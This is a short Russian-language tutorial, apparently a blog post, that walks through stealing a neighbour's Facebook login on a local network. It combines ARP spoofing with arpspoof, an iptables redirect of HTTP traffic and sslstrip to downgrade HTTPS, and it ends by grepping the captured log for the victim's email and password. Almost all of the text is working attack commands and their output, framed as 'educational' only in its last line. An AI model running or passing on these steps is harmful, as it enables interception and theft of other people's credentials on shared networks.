Как известно, протокол SSL защищен и бояться за свои пароли, передаваемые по нему, не стоит. Так ли это? Нет! Если вы находитесь в одной локальной сети со своей целью, то получить его пароли для вас будет не проблема. Перейдем от лирики к практике.
У нас есть два компьютера в локальной сети и роутер, соединяющий их и дающий выход в глобальную сеть. Предположим, что мы — атакующий компьютер с IP адресом 192.168.1.101. Наша цель — Вася Пупкин с IP адресом 192.168.1.102, который хочет залогиниться в www.facebook.com.
1) Узнаем адрес роутера:
$ ip route show | grep default | awk '{ print $3 }'
192.168.1.1
2) Включим на машине режим перенаправления пакетов:
$ echo "1" > /proc/sys/net/ipv4/ip_forward
3) Настроим iptables для перенаправления http-трафика на порт 1000:
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
4) Теперь нам надо заставить цель поверить, что мы и есть тот самый роутер. Запускаем для этого arpspoof:
$ arpspoof -i eth1 -t 192.168.1.102 192.168.1.1
5) Проверим тело sslstrip на наличие правильной версии Python:
$ head -1 /usr/local/bin/sslstrip
Если стоит /usr/bin/env python меняем на /usr/bin/python2.6
6) И вот запускаем сам sslstrip для поимки пароля:
$ sslstrip -a -l 1000 -w /root/log.txt
Расшифруем параметры: -a ловится весь http и ssl траффик -l слушаем на 1000 порту, на который мы делали перенаправление -w запись лога в файл /root/log.txt
7) Вася заходит на facebook, вводит мыло и пароль.
8) Мы анализируем лог:
$ grep -A 1 SECURE /root/log.txt
2011-09-25 18:10:21,997 SECURE POST Data (www.facebook.com):
charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=AZ4G5&locale=en_US&email=v.pupkin%40gmail.com&pass=my_password&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=AZ4G5
Видим, что логин v.pupkin%40gmail.com; %40 — это значок @ в url кодировке, а пароль — my_password
Собственно мы получили, что хотели. Обучающе-остерегающий видос внизу: